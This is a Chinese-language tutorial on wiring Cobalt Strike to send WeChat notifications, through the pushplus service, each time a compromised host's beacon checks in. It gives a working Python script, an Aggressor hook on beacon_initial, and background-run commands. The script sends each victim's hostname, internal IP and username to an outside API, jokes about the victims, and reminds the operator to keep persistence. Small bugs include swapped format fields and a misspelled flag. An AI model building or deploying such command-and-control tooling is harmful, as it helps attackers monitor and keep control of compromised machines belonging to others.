CobaltStrike上线微信通知

CobaltStrike上线微信通知

利用pushplus公众号（每天免费发送200条消息）

http://www.pushplus.plus/push1.html

扫码登录后需要复制token

可以测试一下发送一下消息，手机会受到如下消息。可以在微信提示里将消息免打扰关闭（默认是开启的）

利用该api接口在上线后进行请求，参考了github上大佬的代码。但接口变了用不了只能自己改一下，改好的代码如下

# encoding:utf-8
import argparse
import requests
import random
import string
import json


token = 'xxxxxx' #在 http://www.pushplus.plus/push1.html 复制

parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()

internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))

title = "TPAER专用CS主机上线提醒"
content = """

**主人又有笨蛋上线了~**

**主机名: {}**

**IP: {}**

**用户名: {}**

**Token: {}**

**注意权限维持**
""".format(internalip, computername, username, ran_str)

url = 'http://www.pushplus.plus/api/send'
data = {
    "token":token,
    "title":title,
    "content":content,
    "template":"markdown",
    "channel":"wechat"
}
body=json.dumps(data).encode(encoding='utf-8')
headers = {'Content-Type':'application/json'}
requests.post(url,data=body,headers=headers)

可以将token替换，直接运行看微信是否成功收到消息，测试成功后放在服务器某目录下

然后是一个.cna文件，里面需要修改的cmd命令中的地址

on beacon_initial {
	println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));
	local('$internalIP $computerName $userName');
	$internalIP = replace(beacon_info($1,"internal")," ","_");
	$computerName = replace(beacon_info($1,"computer")," ","_");
	$userName = replace(beacon_info($1,"user")," ","_");
	$cmd = 'python3 /root/ATK/CSonWeChat/PushPlus.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName;
	println("Sending server: " . $cmd);
	exec($cmd);
}

在准备完成后进入cs的目录下，可以使用screen也可以nohup命令后台挂载

我这里直接使用screen，然后执行如下命令

./agscript Cobalt_Strikeip 端口 用户 密码 /目录/PushPlus.cna > /目录/PushPlus.log 2>&1 &

查看进程，成功跑起

ps -aux | grep agscript

在CS有主机上线后，微信成功收到了发来的提示信息